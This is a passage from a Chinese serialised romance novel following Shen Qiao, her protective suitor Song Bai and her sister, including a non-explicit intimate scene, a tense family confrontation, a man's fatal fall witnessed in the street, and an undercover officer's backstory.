卫生间里,沈荞刚挤上牙膏,宋柏的电话就打了进来。她随手开了免提,把手机放到一旁,淅淅沥沥的水流声清晰传到电话那头。 “在洗漱?” 宋柏低沉的嗓音透过听筒传来。 含着满嘴牙膏泡沫的沈荞,含糊地应了一声。 “好,我在楼下等你。” 沈荞漱口,吐掉泡沫,看向手机。 “你已经到了?” “嗯。” 匆匆洗完脸,沈荞拿着手机回房,一把拉开窗帘往下望去。 还是那片雪地,还是那盏路灯下,宋柏就站在那里,手里握着手机,微微仰头,看着她。 漫天飞雪落在他的发顶、肩头,很快积起一层薄 雪。沈荞看着他,微微皱眉:“怎么不撑伞?” 宋柏在电话里低低笑了一声。 “撑了伞,怎么让你心疼我。” 沈荞:“……” 等她换好衣服再走出房门时,陈延正坐在客厅沙发里。见她出来,他目光温和扫过她全身。 “手机和药都带了吗?” 沈荞点点头。 “有事,随时给我打电话,我去接你。” 沈荞又点了点头,走到门边弯腰换鞋。手搭在门把上,即将踏出门的前一秒,她忽然回头,对着陈延弯眼一笑:“你也要记得好好吃饭。” 陈延回她一个浅淡的笑,静静看着她推门离开。 “啪”的一声轻响,门彻底关上。 关陈延脸上所有的笑意瞬间敛去,只剩一片深沉。他快步走到阳台窗边,居高临下望向楼下。 他一眼就看见雪地里那个挺拔的身影,也看见几秒后,小跑着过去的她,被那人伸手拥进怀里。 他看着她仰头,不知对抱着她的人说了句什么,嘴角扬起一个灿烂又鲜活的笑。又看着她主动伸出手,紧紧牵住那人的手,拉着他一起往外走,两道身影渐渐被白雪覆盖,最终消失在他的视线里。 白茫茫的雪地里,一片空寂。 陈延在窗边站了很久很久,久到手脚都快冰凉,才缓缓掏出手机,拨通了一个号码。 “韩队,上次你说的那个岗位,还有空缺吗?” * 与此同时,拽着宋柏的沈荞,刚走到小区门口,忽然停下脚步:“去看超级碗,我能带姐姐一起去吗?” 下楼的时候,宋柏就告诉她,他弄到了超级碗的包厢席位,要带她去现场看比赛。 超级碗,是一年一度的NFL橄榄球总决赛。 这一天对于狂热橄榄球的美国人而言,分量堪比国内的春节联欢晚会。全民狂欢,门票更是一票难求。而宋柏,直接拿到了包厢,还是视野最佳的包厢。 沈荞虽然才看橄榄球没多久,却已经彻底喜欢上这项运动。在电视上看都足够热闹,若是能去现场,想想就沸腾。 她先是一阵兴奋,兴奋过后,才想起姐姐。 宋柏眉眼微扬,语气随意:“当然可以。” 沈荞喜上眉梢,可神色很快又顿了顿,犹豫了几秒,还是开口:“那……陈延呢?” 宋柏眸色微沉,没立刻应声。 沈荞知道他不愿意,认真开口:“他是我的朋友。” 朋友? 若不是这几个月,他天天看她和陈延的照片,看照片里陈延看她的眼神,他说不定就真信了这两个字。 见他不说话,沈荞轻轻拉了拉他的衣袖:“做人不能这么小气。” 小气? 宋柏被气笑了。 活了这么多年,还是第一次有人说他小气。 只不过,她说得也没错。 他何止是小气,他还小心眼。 没看见也就算了,人就在他眼皮子底下,还想让他眼睁睁看着她和陈延继续亲近。 除非他死。 不过…… 若是在明知是他安排的情况下,那个陈延还敢来,那他倒也不介意“大方”一次。 宋柏唇角勾起一抹似笑非笑的弧度,语气听不出喜怒:“他要是想来,那就一起来。” 沈荞这才满意点头。 走出小区,宋柏牵着她走到斑马线旁,沈荞后知后觉反应过来:“不是说先去吃饭吗?车呢?” 宋柏低头看她:“请了厨师上门,意大利主厨,今天先试试菜,等索尼娅来了,你也好招待。” 穿过马路,走进对面的小区,电梯一路直达27楼。 前一夜还被砸得一片狼藉的大平层,不过一天时间,已然被收拾得整洁一新。 吧台、酒柜、名酒、各式精致摆件,一应俱全,焕然一新,仿佛那场疯狂的打砸从未发生过。 沈荞正环顾四周,一个穿着厨师服、戴着高筒厨师帽的男人,端着菜品从厨房走出。 深邃立体的五官,自带一股浓郁的意式风情。 只是看着人,沈荞就感觉回到了意大利,尝了菜品,回到意大利的错觉更明显。 “怎么样?” 宋柏拿起刀叉,细心帮她切好肉,叉到她碟子里。 沈荞认真点评:“好吃,不过……还是火锅更好吃。” 宋柏被她逗笑:“想吃火锅了?” 沈荞点头。 宋柏:“那晚上就吃火锅。” 吃完饭,试完菜,宋柏转头和候在一旁的主厨说话,用的意大利语。 在意大利待过那么久,又跟着老师专门学过一段时间意大利语的沈荞,勉强能听出,他在和主厨沟通菜品细节。 沈荞没想到,他会把索尼娅的到来看得这么重。趁他和主厨交流的间隙,她默默拿出药,就着温水服下。 等她吃完药,宋柏也说完了话。 桌上的狼藉有人收拾,宋柏伸手牵住她,往主卧走去。 沈荞不解:“不是要去挑衣服吗?” 宋柏没解释,只牵着她继续往里走。 穿过卧室,最深处是一间超大衣帽间。 灯光明亮的衣帽间里,不只柜子里塞得满满当当,目之所及的架子上,全都挂满了各式女装。 宋柏松开她的手,往后退了一步。 “看看,喜欢哪些,就留下。” 各式各样的款式和颜色,看得沈荞眼花缭乱,一时不知道从何下手。 “这……怎么挑啊?” 宋柏:“不急,慢慢挑。” 他是不急,沈荞却实在无从下手。 “要不还是算了吧,我有衣服穿。” 这几个月,她姐姐她买了很多新衣服,之前何婶也送过来不少,她根本不缺衣服。 宋柏没反驳,只幽幽开口,语气看似轻飘飘的,却精准戳中她:“那些衣服,花的是谁的钱买的?” 沈荞身形一顿。 虽然是姐姐买的,可归根结底,花的是陈青野的钱。 一想到这里,沈荞也来了精神,环顾四周,开始认认真真挑选起来。可没挑几件,她就困了。 连着熬了两夜,虽然都睡到中午才起,但也消耗了她不少精力。 宋柏看穿了她的困意,找出她之前留在这里的睡衣,拉着她回到主卧。 “换上,睡一会儿,嗯?” 沈荞点头,拿着睡衣进了浴室。再出来时,他也已经换好了睡衣,靠在床头等她。 她熟练上床,掀开被子躺进去,很自然伸手搂住他的腰。 看着她一脸困倦、依赖靠在自己怀里,宋柏也缓缓躺下,长臂一伸,回搂住她,手掌轻轻落在她的腰侧,温柔摩挲着。 沈荞被他摸得有点痒,不满掐了掐他。 宋柏没松开,反而顺着她的衣摆悄悄探了进去。 温热的大掌贴上她温热的小腹,在触到浅浅的疤痕后顿住。温热的指尖反复轻柔地摩挲着那道疤,他哑着声音开口。 “这疤,是怎么回事?” 原本昏昏欲睡的沈荞,清醒了几分。她沉默了片刻,开口。 “被人划的。” 她回答得平静,宋柏的心却一紧,密密麻麻的酸涩瞬间蔓延开来。 他喉结滚动,压下心底翻涌的戾气,追问:“谁划的?” 沈荞把脸深深埋进他怀里,声音闷闷的。 “已经死了的人。” 宋柏声音更轻:“疼吗?” 沈荞淡:“记不清了。” 比起疼,那时候的她,更想杀人。 而那时候的她,只有十岁。 昨夜,宋康把知道的,关于她的事,都原原本本告诉了他。他终于彻彻底底理清了她的人生,也终于明白,她对傅英那近乎偏执的执念。 知道她小小年纪经历过怎样的黑暗和绝望,宋柏一夜未眠。 愤怒,滔天的愤怒,几乎要将他吞噬。 可除了想杀人的冲 动,剩下的,是铺天盖地、无处安放的心疼。 温热的掌心还停在她小腹上,宋柏垂眸,看着她柔软的发顶,心底涌过一阵又一阵涩意。 而安安静静趴在他怀里的沈荞,呼吸轻浅,像是困极了,又像是在掩藏所有情绪。 宋柏抽回手,抬起,抚过她的侧脸,从眉骨到脸颊,再到柔软的唇瓣。动作很慢、很轻,带着近乎虔诚的珍视。 下一秒,他微微低头,吻落在了她的发顶。 很轻,很柔,带着冬日里微凉的气息。 沈荞身子微顿,还没来得及抬头,下颌便被他轻轻抬起。 四目相对,她撞进他深不见底的眼底,那里翻涌着她看不懂的情绪。 看着他,他没给她反应的时间,俯身,吻住她。 不是掠夺,不是深吻,他的唇贴着她的唇,轻轻辗转,耐心而温柔。 沈荞睫毛轻轻颤了颤,下意识攥住了他的衣襟。没有躲,也没有回应,就那样乖乖地任由他吻着。 直到她呼吸微乱,宋柏才稍稍退开一点,额头抵着她的,气息微哑。 “沈荞。” 他低声喊她的名字,声音深沉。 “有我。” “谁也不能再伤你。” 他又低头,再次吻下来。 这一次,稍稍加深,藏着倾尽所有的温柔。 窗外的雪还在落,室内暖意沉沉。 她身上的药味、淡淡的沐浴香,和他身上清冽的气息缠在一起,成了让人安心的味道。 沈荞仰起头,试探着回应他。 而这一点点主动,让本只是克制轻吻她的宋柏,瞬间乱了气息,心底的情动也翻涌而上。 他心头一紧,下意识想往后退,可沈荞却先一步伸手,主动搂上了他的脖子,吻住了他。 宋柏眸色骤暗,呼吸粗重盯着她,声音哑得不成样子:“沈荞,我会忍不住的。” 沈荞眨了眨眼,眼底带着几分懵懂的倔强,轻声回:“那就别忍。” 话音落下,宋柏心底那根紧绷了许久的弦,彻底崩断。 他再也无法克制,伸手扣住她的后颈,俯身将她紧紧拥住,深深吻了下去。 窗外白雪纷纷扬扬,安静落满人间。 室内层层衣物,如同窗外翩跹的雪片,无声散落在床边,彻底点燃了一屋滚烫。 …… 第58章 都是爱她的人 两人之间第一回的情事, 即便宋柏也是头一回经历,全然生涩,却还是全程隐忍克制,极尽温柔地待她。 怕弄疼她, 怕惹她生气, 更怕这头一回, 变成最后一次。 即便他已经放轻了所有动作, 处处温柔, 结束的时候,还是挨了她不轻不重的一脚。 “弄疼了?” 宋柏把沈荞圈在臂弯里, 梳理着她凌乱散落在颈间的发丝,动作轻柔。 沈荞把脸深深埋进他温热的胸膛, 手臂圈着他的腰,闷声只吐出一个字:“困。” 宋柏揉了揉她的头:“睡吧。” 等怀中人呼吸渐渐平稳, 彻底睡沉过去,宋柏才轻手轻脚抽身下床,去浴室拧了温热的毛巾, 细致给沈荞擦拭。给她擦完, 他回到浴室随意冲了个澡,再回到床上, 把她重新揽进怀里,沉沉睡去。 一夜未合眼, 宋柏这一觉睡得极深,直到被床头持续震动的手机吵醒。 他睁眼, 目光先落向床头,是沈荞的手机。再低头,她还缩在他怀里睡得安稳, 呼吸绵长,半点没有要醒的意思。 手机还在不停震动,宋柏怕吵醒她,长臂一伸,把手机拿了过来。 屏幕亮起,来电显示【姐姐】。 是沈蒲蘅。 他指尖一划接通,将手机贴在耳侧,压低声音:“沈医生。” 这一声落下,电话那头沉默了好几秒,才传来疏离中带着不悦的女声:“荞荞呢?” 宋柏收紧手臂,将怀里的人抱得更紧,语气沉了几分:“她在睡觉。” “沈医生,我知道你想说什么,等你回来,我们可以慢慢谈,现在……我不想吵醒她。” 话音落,宋柏不等对方回应,直接利落挂断了电话。 屏幕暗下去又亮起,时间已经快到傍晚六点。 嘴上说不想吵醒她,可看了时间,宋柏还是决定叫醒她。 再让她睡下去,不仅会错过晚饭,还会耽误晚上的药,夜里估计更是要彻底失眠。 而她的身体,不管是不规律服药还是不规律作息,都容易引发躯体化反应。 轻声唤了她几声,怀里的人却半点反应都没有。宋柏狠了狠心,伸手按亮了床头灯。 骤然亮起的光线太过刺眼,根本没睡醒的沈荞下意识蹙紧眉尖,往他怀里缩了缩,嗓音里带着浓浓的困意和暴躁:“把灯关了。” 宋柏轻轻拨开她额前凌乱的碎发,低头在她眉心印下一个轻吻。 “不是想吃火锅吗?我让人送过来了,吃完再睡。” 沈荞勉强掀开眼皮,困顿的眼底蒙着一层湿漉漉的水雾,又气又困,盯着眼前近在咫尺的温热胸膛,张口便狠狠咬了下去,把没睡够的火气一股脑泄在上面。 送来的火锅是现成的,插上电就能煮,只是餐桌离插座有些距离,必须接上插线板才行。 困意未消的沈荞蜷在沙发上,看着平日里向来衣冠楚楚、矜贵冷傲的男人,一边拿着手机听着指示,一边弯腰撅着屁股满屋子翻找插线板,动作难得带着几分笨拙,她心底被吵醒的烦躁,竟一点点散了去。 在电话那头的指引下,宋柏总算找到了插线板。没过多久,锅里的汤底便咕嘟咕嘟沸腾起来,热气袅袅往上飘。 宋柏夹起烫好的第一筷嫩牛肉,放进沈荞面前的碗里。沈荞没有动,只是抬眼轻声问:“何婶呢?” 宋柏收回筷子,又夹了新的牛肉下锅,语气平淡自然:“想何婶了?” 沈荞没有否认,轻轻点了点头。 宋柏抬眸看了她一眼。 她不想他,反倒念着何婶。 他收回目光,将重新烫好的牛肉夹进她碗里:“我让何婶去老宅帮忙了。你搬回来,我就让她回来。” 沈荞哦了一声,低头默默吃肉。 室外大雪纷飞,室内火锅热气腾腾,本该惬意无比,可沈荞困得厉害,没吃几口就放下了筷子,恹恹地靠在椅背上。 她没胃口,宋柏也没再吃,直接关了火,弯腰将她打横抱起,抱着她窝进了柔软的沙发里。 窗外的雪纷纷扬扬,一片素白。窗内暖黄的灯光洒落,温柔裹着陷坐在沙发里的两人。 窗外寒风呼啸,窗内却暖得让人浑身发懒。宋柏抱着沈荞窝在沙发深处,她整个人陷在他怀中,脸颊贴着他温热的胸膛,安安静静地靠着,不发一语,只是偶尔动一动,找个更舒服的姿势。 宋柏垂眸凝视着她,指尖轻轻顺着她的发顶,一路抚到背脊,一下又一下,温柔拍抚着。 没多久,沈荞的脑袋就一点一点的,呼吸渐渐变得绵长,显然是马上要睡过去。 宋柏温热的气息拂过她的发顶,大掌轻轻托起她的下巴,揉了揉她的脸颊:“把药吃了再睡。” 沈荞闷哼一声,往他怀里又缩了缩,不肯睁眼:“不吃……困。” “吃完回床上睡,我抱着你,不吵你。” 宋柏耐着性子,一手轻轻托住她的后脑,另一手拿起茶几上提前备好的温水和药片。 沈荞被他缠得没办法,勉强掀开一条眼缝,眼底全是朦胧的水雾,迷迷糊糊地张开嘴,任由他将药片送到唇边,就着温水咽了下去。 药刚咽下去,她就立刻缩回他怀里,彻底闭上了眼睛。 看她彻底睁不开眼,宋柏收紧手臂,将她稳稳打横抱起。窝在他怀里的人鼻尖蹭着他的胸膛,整个人彻底放松下来,呼吸愈发平稳。 窗外的雪还在静静飘落,宋柏抱着她走到床边,轻轻将她放在柔软的被褥里,俯身替她掖好被角,随后自己也躺了下来,再次将她牢牢揽进怀中。 低头,在她柔软的发顶印下一个轻吻,听着她均匀安稳的呼吸,他也缓缓闭上了眼睛…… * 天微微亮时,缠缠绵绵下了两天的大雪,终于彻底停了。昨晚早早入眠的沈荞,也在这静谧的清晨里,早早醒了过来。 床头的小夜灯还亮着暖黄的光,晕开一圈温柔的光晕,透过朦胧的光线,沈荞一睁眼,便看清了近在咫尺的容颜。 他紧闭着眼,浓长的眼睫垂落,在眼底映出浅浅的阴影,高挺利落的鼻梁,线条冷硬,薄红的唇形完美,安静地抿着。 睡着的他,少了平日里的凌厉 冷冽,多了几分难得的温和柔软。 沈荞就这么静静看着他,指尖轻轻划过他深邃的眉眼,掠过他挺拔的鼻梁,最后落在他微凉的唇瓣间。 她还没来得及细细描摹,猝不及防间,就被他突然咬住。 说是咬,更像是含住。 沈荞的指尖能清晰感受到他口腔里温热的湿润,尤其是在他柔软的舌尖轻轻挑上她指尖的那一瞬间,一股酥麻感,从后腰窜起,直上背脊,让她浑身都轻轻颤了颤。 昨天那场缠绵的情事,浮上沈荞的脑海。 他就是用这双温热的唇,柔软的舌尖,在她那两道浅浅的疤痕上,反复亲吻,反复流连,一遍又一遍。 沈荞正出神间,咬着她指尖的人,微睁开的眼眸里,看着她,神色也悄然变了。 他缓缓张嘴,松开她的指尖,转而凑近她的耳侧,薄唇轻咬上她小巧的耳垂,碾磨间,温热的气息喷洒在颈间,撩人又暧昧。 虽然他一言未发,但那动作,那气息,意图太直白。 呼吸早已乱了的沈荞,下意识伸手,轻轻推开了他。 “不行。” 宋柏缓缓抬起头,眼底晕着未散的情欲,暗沉又灼热,直勾勾落在她脸上。 “姐姐今天回来,我要回去了。” 姐姐…… 又是姐姐。 宋柏眸色一沉,抬头往后一仰,后脑勺重重砸回枕头,深深吸了口气,认命般平息了心底翻涌的情绪,侧身又紧紧将她揽进怀里。 “时间还早,再抱一会,抱完我就送你回去。” 抱了许久,宋柏又看着她吃完早饭,才牵着她送她回去。 目送着她纤细的身影一步步上楼,看着她的身影消失在楼道拐角,消失在他的视线里时,宋柏的手机也恰好响起。 来电显示是陈青野,可接起电话,对面却是一道清冷的女声。 “宋总,我三个小时后的飞机到,我们谈谈。” 三个小时,不多不少,刚好是午饭的时间。 宋柏拿着手机转身:“好,位置我来定。” 公历年刚落幕,又临近农历年底,宋柏手头的事不少。集团的年度总结,还有他自己投资的公司的报表,都需要他过目。 宋柏迈进办公室,就被文件彻底埋没。 即便忙到脚不沾地,还是有人不长眼,要来挑战他本就不算好的耐心。 作为和宋柏一起长大的发小,钱朗的电话打来,没有半分寒暄客套,开门见山就问:“魏书平,不是你找人撞的吧?” 宋柏:“滚!” 话音落,他直接掐断了电话。 一整个上午,他只处理完一部分文件。再次拿起手机,钱朗的几条消息安安静静躺在对话框里。 【开个玩笑而已,怎么还急眼了。】 【和你通个气,魏书平的葬礼,到时候我爸和我都会去。魏书平和我爸多年交情,于情于理我们都该露个面。】 【这两天圈子里不少人在议论你,说你心狠手辣。还有人说,魏书平的车祸,说不定有你的手笔。你最好也出面露个脸,堵堵那些闲人的嘴。】 宋柏从十八岁开始,就一步步接手宋家庞大的产业。也是从那一年起,原本只觉得他脾气乖戾的人,因着他狠厉果决的手段,开始打心底里畏惧他。 这些年,宋柏身处风口浪尖,流言蜚语缠身,多难听的话他都听过,他从不在意,更不屑于去辩解。 如果只是因为旁人的几句闲言碎语,他就要刻意露面,去证明自己的清白,那也未免太过可笑。 无视钱朗所有信息,宋柏拿起桌旁的内线电话,摁下快拨键。 “备车!” 再忙碌,饭也是得吃的。 宋柏让人预定的餐厅,离公司并不算远,开车不过几分钟的路程。 他提前抵达了包厢,让服务员上了茶水后,就坐在位置上,拿着平板继续看没看完的文件。 温热的茶水刚端上桌,他等待的人,推门走了进来。 抬眼看去,只看到一人,宋柏眼底掠过一丝诧异。 “陈总没来?” 沈蒲蘅走近,在宋柏对面落座。 “他还在丰城。” 宋柏不置可否,看着服务员倒好茶水,抬手示意服务员将菜单递给沈蒲蘅。 “沈医生,看看想吃点什么。” 沈蒲蘅没有接菜单,甚至连看都没看一眼。 “不用了,稍后还有要事处理。我今天过来,只是想和宋总,好好聊聊荞荞的事。” 宋柏一个淡淡的眼神示意,服务员便识趣躬身退下,轻轻带上了包厢门。 静谧的包厢里,中央空调源源不断往外吹着温热的风,融融的暖意,压不住空气中渐渐弥漫的紧绷。 宋柏放下平板,端起面前的青瓷茶杯,慢条斯理轻抿一口后,才抬眼,语气平淡开口。 “沈医生找我,大概是想聊,让我不要再找沈荞,让我离她远一点,对吗?” 沈蒲蘅指尖不自觉攥紧,看向宋柏的目光里带着几分复杂的审视,沉默数秒,她才开口,语气轻缓且恳切。 “宋总,你把荞荞平平安安带回来,我心里真的很感激。如果你只是把荞荞当作妹妹一样看待,我由衷地高兴,可如果……” “荞荞今年只有二十岁,她还太小,未来的人生还很长很长。过去的事,都已经过去了,我只希望,她往后的人生,能平安、健康、幸福、简单。” 宋柏眉峰微挑,语气里漫开一丝冷意:“所以,我接近她,或是她和我在一起,她就不能平安健康幸福?” “沈医生,别怪我说话难听。即便你是她的姐姐,可你和她真正在一起的时间,也不过短短的这几个月吧?我和她在一起的时间,可远比你要久得多。真要比,你比我,也就是多了那一层薄薄的血缘关系而已。” 原本神色镇静的沈蒲蘅,闻言脸色微微一变,却很快又恢复了冷静。 “是,我之前不知道荞荞的存在,所以我没能陪在她身边,和她,也只有一半的血缘关系。可就这一半血脉,便注定了她是我的妹妹。既然是我的妹妹,无论她变成什么样子,我都会护她一辈子,养她一辈子。可宋总,你呢?” “你和荞荞在一起的时间比我长,对她的了解也比我深,那你理应比我更清楚,荞荞的病有多严重。” “她的病,是会伴随一生的,随时都会发作甚至更严重的可能。我可以倾尽所有护她一辈子。宋总,你能做到吗?” “或许你现在对荞荞是喜欢,可这份喜欢,你能保证维持一辈子吗?” “荞荞的病,受不得半分刺激。与其等到将来你新鲜感褪去,厌倦了伤害她,那我宁愿今日当这个恶人,彻底断了你们之间的可能。” 宋柏刚要开口反驳,沈蒲蘅却压根没给他插话的机会,语气愈发犀利逼人。 “宋总当然可以说甜言蜜语,说不会。可我要说一个更现实的问题。” “荞荞的病,带有遗传性,从医学的角度,她并不适合生育。” “宋总坐拥偌大的家业,你能接受,这辈子没有自己的孩子吗?” 话音落,沈蒲蘅犀利的目光,直直看向宋柏, 而宋柏,也终于等到了开口的机会。 他薄唇轻启,语气平静:“宋家又不只有我一个人姓宋,这家业也不是非要我生孩子才能继续传承。” “如果沈医生真的想看我的诚意,明天我就去你们医院做结扎手术,你看如何?” 一句话,让沈蒲蘅瞬间僵在原地,彻底懵了。 她怔怔地看着眼前神色淡然的男人,眼底满是难以置信的震惊。 宋柏扯了扯嘴角,露出一抹凉薄的笑。 “沈荞很珍惜你这个姐姐,所以我也愿意给你几分尊重,但是……” “我把沈荞一次次从鬼门关拉回来,一夜夜陪她安抚她的时候,你在洛杉矶,和你的丈夫甜甜蜜蜜,岁月静好。” “所以,不要觉得,仗着姐姐的身份,就有资格来随意插手她的人生,决定她的幸福。” 一场谈话,算不得愉快。 饭没吃,桌上的茶水都没碰过一口,沈蒲 蘅便起身要走。本还神色冷冽的宋柏缓了缓神色,也起身送她。 等电梯的空隙,宋柏侧眸看向身侧那张和她有七分相似的脸,忽然轻声开口。 “那些花,不是我送的。” 原本抿着唇不语的沈蒲蘅侧眸,眼底浮起疑惑。 宋柏再度开口,语气平淡地解释:“送到医院给你的那些花,不是我送的。是我家老太太,在你医院住院的时候,看我和你说了一次话,误以为我对你有意思。又急着我娶媳妇,病急乱投医,拿我很久不用的手机,以我的名义给你订的花。” 沈蒲蘅愣了愣,一直到跟着宋柏下了楼,冷风刮在脸上,她才缓缓回过神。 站在冷风凌厉的街边,沈蒲蘅看着眼前的宋柏,声音轻了几分。 “宋总,你说的没错。我确实不能以我的意愿来决定荞荞的人生和幸福。作为姐姐,我从来没有好好照顾过她。我很自责,也很愧疚。我只是希望,她不要再受伤害。” 宋柏:“我不会伤害她。” 沈蒲蘅深深看了他一眼,宋柏又冷不丁补了一句:“她告诉过你,我和她第一次见面,她就把我揍进医院的事吗?” 沈蒲蘅温润的眼睛微微一瞪,温柔的眉眼间闪过一丝错愕。 宋柏淡淡道:“沈医生与其担心我伤害她,不如回去劝劝她,对我好点。” 高高在上、素来冷硬的宋总,此刻居然露出了几分委屈哀怨的神情。沈蒲蘅本还心绪沉沉,看到他这副模样,忍不住轻笑出了声。 笑完,她又觉得场合不合适,连忙敛了神色,刚想开口说些什么。 砰—— 巨大而沉闷的撞击声骤然响起,紧接着,便是此起彼伏的惊声尖叫,划破了街道的安静。 沈蒲蘅敛了一半的笑僵在脸上,宋柏也瞬间肃了神色。原本远远守在一侧的保镖齐齐快步围了上来,神色戒备。 一切都发生在瞬息之间,隔着一条宽阔马路的对面,早已乱作一团。 刺耳的尖叫声、慌乱奔逃的人群、人群缝隙里趴在地上支离破碎的人体,还有缓缓蔓延开来的刺目鲜血,看得人头皮发麻。 作为医生的沈蒲蘅第一反应就是要冲过去,脚步刚迈,手腕就被宋柏牢牢擒住。也就在这时,宋柏口袋里的手机响了起来。 他面无表情地接起。 “老板,魏霖跳楼了。” 宋柏微微抬头,目光落在对面大楼顶端那枚巨大醒目的【魏】字招牌上,眼神冰冷。 “看到了。”—— 作者有话说:这几天有空,所以会提早更。 以后还是正常晚上九点更哈。 第59章 离开 “送沈医生回去。” 宋柏握着手机, 抬眼示意身边的保镖送沈蒲蘅上车。沈蒲蘅本还有些犹豫,可宋柏轻描淡写一句“沈荞还在家等你”,便让她散了所有迟疑,跟着保镖上了车。 目送黑色轿车驶远, 宋柏转头望向马路对面地上那具早已没了生气、甚至都不再完整的躯体, 脸色微沉:“怎么回事?” “昨晚问了一夜, 他半个字都不肯说。今早突然松口, 说有一个账本。藏在办公室保险柜里, 我们就带他过来了。我去查看保险柜,他推开保镖, 直接从楼上跳下去了。” 宋柏:“报警了吗?” “报了。” “通知律师过来。现场任何东西都不要碰,询问全程的监控和录像, 原封不动交给公安,这件事, 交给警方处理。” 这里是国内,不是哥伦比亚。即便宋柏向来无所顾忌,可跟在他身边的许莫言和宋康, 始终步步谨慎。从订婚宴那天魏霖上门开始, 他说的每一句话、做的每一个动作,都被完整录音录像。原本打算先掌握线索, 再移交警方,可现在…… 宋柏挂了电话, 眉头深深蹙起。 前两天还跪在他面前苦苦哀求救命的人,今天竟如此决绝地一跃而下。魏书平的车祸, 是警告,更是逼迫,藏在背后的人, 是要把魏霖往死里逼。 呼啸的警车和救护车擦过时,沈蒲蘅坐在车里,依旧心有余悸。她是医生,见惯了生死,可救死扶伤,和眼睁睁看着一个人在眼前坠地、血肉模糊,完全是两回事。 找到沈荞的那天,她就从宋柏口中得知,她的妹妹,患上了严重的精神疾病。 失而复得的欣喜还没来得及涌上心头,她就开始查阅资料、咨询专家,满心都是如何治好妹妹。很快,事实告诉她,不仅无法完全治愈,甚至,这个病还伴随极强的自杀倾向。 沈蒲蘅原来不知道她的妹妹究竟有没有真的做过傻事。直到刚才,宋柏说他一次次把人从鬼门关拉回来,她就明白了一切。 她不敢去想,她妹妹经历过怎样的绝望,又是以何种方式试图离开。可亲眼目睹了刚才的一幕,她又发自内心地庆幸。庆幸她妹妹选择的不是跳楼,那样的话,一旦发生,就再也没有挽回的余地。 她对宋柏唯一的芥蒂,就是他明知她有男友,还执意给她送花。也正因如此,她一直怀疑宋柏的人品,更怀疑他接近沈荞的目的。 如今这份顾虑被宋柏解释清楚,她心里更庆幸,庆幸有宋柏在。 保镖将沈蒲蘅一路送到家门口,她推开门的瞬间,就被一个柔软的身影扑了个满怀。 “姐姐……” 沈蒲蘅眉眼瞬间柔了下来,抬手轻轻揉着怀里人的头发,温声笑道:“想姐姐了吗?” 沈荞把脸埋在姐姐的颈窝,声音软糯姿态依赖:“当然想了。” “姐姐也想你。” 姐妹俩在玄关紧紧相拥,温热的体温驱散了彼此的不安,许久才依依不舍分开。 分开后,沈蒲蘅转身从行李箱里拿出从丰城带回的礼物,递到妹妹手中。沈荞捧着礼盒,满心欢喜拆开。阳光透过玄关的玻璃窗洒在她脸上,映出她眼底纯粹的笑意。 沈蒲蘅就站在一旁,静静看着。 她在外公和陈青野给她搭建的象牙塔中,过着安稳宁静的生活时。她的妹妹,在经历苦难。过去的事,她改变不了。如今她唯一能做的,就是拼尽全力护妹妹一世安稳,让她往后的日子,再无风雨。 礼盒里装的是丰城特产的手工糕点,香气清甜。沈荞拆开包装,第一时间捏起一块,塞进姐姐嘴里,下一块,她也没有给自己,而是想到了陈延,随即拉着姐姐的手就往隔壁跑。 刚过午饭时间,不算大的屋子里还飘着淡淡的饭菜香。陈延原本坐在沙发上,见到沈荞蹦蹦跳跳进来,嘴角不自觉扬起笑意,在看清她身后的沈蒲蘅后,起了身。 “回来了,吃饭了吗?” 面对陈延,沈蒲蘅并没有客气:“还没有,还有饭吗?” “有,我去给你热。” 陈延应声,转身便往厨房走。 沈蒲蘅让沈荞去沙发上坐,自己则缓步跟到厨房门口。厨房空间狭小,陈延人高马大,站在里面几乎占满了所有位置,她没有进去,只是轻轻靠在门框上。 “这两天,辛苦你了。” 陈延手里拿着碗,头也没回,语气平淡:“我们之间,不用说这些。” 沈蒲蘅看着他的背影,沉默了两秒,缓缓开口:“我刚去见宋柏了。” 陈延捏着碗沿的手,几不可查地顿了一下。 这个细微的动作,被沈蒲蘅尽收眼底,她轻声道:“我知道,荞荞昨天和他在一起。” 陈延依旧没有回头,只是淡淡嗯了一声。 沈蒲蘅回头看了一眼客厅里抱着糕点、乖乖看电视的沈荞,再转回头时,语气多了几分郑重:“比起宋柏,我当然更希望把荞荞托付给你。但感情的事,终究还是要看荞荞的选择,如果你……” 话未说完,陈延突然转过身,目光平静看着她,开口道:“我要去云南了。” 沈蒲蘅一怔,以为自己听错了:“你说什么?” “我打算进边防了。” 陈延的语气没有丝毫波澜,仿佛在说一件再平常不过的事。沈蒲蘅的眼眶却瞬间红了。 她瞥了眼客厅,再回头时,压低声音,语气里带着难掩的焦急与慌乱:“边防有多危险,你比谁都清楚!你忘了你当初受的那些折磨了吗?你的命好不容易才捡回来,身体刚养好一点,你怎么能去边防呢。” 陈延看着沈蒲蘅激动的模样,眼神 依旧坚定:“正是因为知道那里危险,正是因为我亲身经历过,所以我才更应该去。” 沈蒲蘅心口收紧,声音发颤:“荞荞知道吗?” 陈延摇头。 沈蒲蘅:“那青野呢?” 陈延:“等他回来,我再和他说。” 沈蒲蘅:“什么时候走?” 陈延:“年后。” 年关将近,年后不过就是几天的时间。 沈蒲蘅看着眼前神色淡然的陈延,眼泪忍不住在眼眶里打转。 陈延曾经做过卧底的事,沈蒲蘅是在云南那行才知道的。在那之前,他们甚至连面都没见过,陈青野从来没和她提过陈延的存在,更没告诉她,他把她的妹妹托付给陈延照顾了。 当初警方找到女尸,比对DNA后,结果显示女尸和她有血缘关系,就是她的妹妹时,沈蒲蘅整个人是崩溃的。 她完全沉浸在失去妹妹的剧痛里,根本无暇顾及旁人,更没留意陈延的去向。直到大半年后,形同枯槁、浑身是伤、几乎没人形的陈延,出现在她和陈青野在洛杉矶暂住的别墅门口。 见到她的第一眼,他就颤巍巍伸出手,递给她一枚子弹壳。 直到那时,沈蒲蘅才知道,看似沉默的陈延,在她最崩溃的日子里,到底做了一件怎样九死一生的事。 他以身为饵,主动自投罗网,亲手把自己送到一心想杀了他的毒枭,也就是她妹妹口中所谓的干爹手里。即便出发前,警方早已在他身上暗藏了定位器,可毒枭手下狡猾又狠戾,定位器的信号还是消失了。 虽然消失了,但警方也锁定了毒枭藏身的大本营的大致方位。 等警方集结力量,强攻进入时,已经是半个月之后。 找到陈延的那一刻,所有人都心头一震。 他虽然还活着,却早已被折磨得不成人形,与死人无异。即便如此,在最后的混战里,他依旧拼尽最后一丝力气,当场击毙了那个大毒枭。 接下来等待他的,是一场接一场的手术,数次在鬼门关徘徊。 就连抵达洛杉矶,站在她面前时,他的腿都是瘸的,连站稳都困难。 